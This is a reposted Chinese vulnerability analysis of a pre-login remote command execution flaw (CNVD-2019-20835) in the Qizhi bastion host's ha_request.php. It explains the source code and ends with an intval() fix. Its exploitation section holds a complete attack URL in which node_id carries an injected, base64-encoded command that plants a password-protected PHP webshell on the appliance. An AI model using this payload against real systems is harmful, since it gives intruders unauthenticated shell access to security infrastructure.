齊治堡壘機前台遠程命令執行漏洞(CNVD-2019-20835)分析


一、基本信息

  漏洞公告:https://www.cnvd.org.cn/flaw/show/1632201

  補丁信息:該漏洞的修復補丁已發布,如果客戶尚未修復該補丁,可聯系齊治科技的技術支持人員獲得具體幫助。

二、源代碼分析

  問題出現在ha_request.php文件,第37行的exec函數,$url為用戶可控的變量,可見第33和34行。目光來到第23和24行,只要node_request函數的返回值為“OK”,即可跳過fatal函數(此函數為自定義函數,作用類似PHP內置的exit函數),繼續往下執行。

  Node_request函數的定義在include/common.php文件中,見下圖2。按照其原本的邏輯,其作用是請求$url,並返回其內容。根據代碼邏輯,$url = "http://$req_ipaddr"."/listener/$method.php?n=$req_node_id&a=".urlencode(json_encode($args));。所以$url變量值類似於http://10.20.10.11/listener/cluster_manage.php?n=1&a=%5B%22install%22%5D這樣的字符串。

  但是$req_ipaddr和$req_node_id均來自用戶輸入。因此,假設10.20.10.11為黑客可控的服務器,listener/cluster_manage.php文件的內容為“<?php echo ‘OK’;>”,即可使得node_request函數返回“OK”,從而跳過fatal函數,繼續往下執行來到exec函數。

  回到exec函數,此時該函數的第一個參數是這樣的,"wget --no-check-certificate http://10.20.10.11 /ha_get_install.php?n=$req_node_id -O backup_scripts.tar.bz2",所以我們的payload只能放在$req_node_id變量中。

  見下圖3,$req_ipaddr和$req_node_id其實來自於$_REQUEST[‘ipaddr’]和$_REQUEST[node_id’],並做了全局過濾,刪除掉一些危險字符。

圖1

圖2

圖3

三、漏洞利用

  利用條件:無需登錄

  利用過程:

  第一,http://10.20.10.11/listener/cluster_manage.php返回“OK”。

  第二,執行以下鏈接即可getshell,執行成功后,生成PHP一句話馬/var/www/shterm/resources/qrcode/lbj77.php密碼10086。這里假設10.20.10.10為堡壘機的IP地址。

https://10.20.10.10/ha_request.php?action=install&ipaddr=10.20.10.11&node_id=1${IFS}|`echo${IFS}"ZWNobyAnPD9waHAgQGV2YWwoJF9SRVFVRVNUWzEwMDg2XSk7Pz4nPj4vdmFyL3d3dy9zaHRlcm0vcmVzb3VyY2VzL3FyY29kZS9sYmo3Ny5waHAK"|base64${IFS}-d|bash`|${IFS}|echo${IFS}

四、參考及修復建議

1、修復建議

  $node_id的看起來應該是一個整數,所以只需在ha_request.php文件開頭,添加以下一行代碼,對該變量進行過濾即可。

  $node_id = @intval($req_node_id);

2、參考

  https://www.php.net/manual/en/function.exec.php

  https://www.anquanke.com/post/id/84920

 

 轉載請注明出處。 

 

 

 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM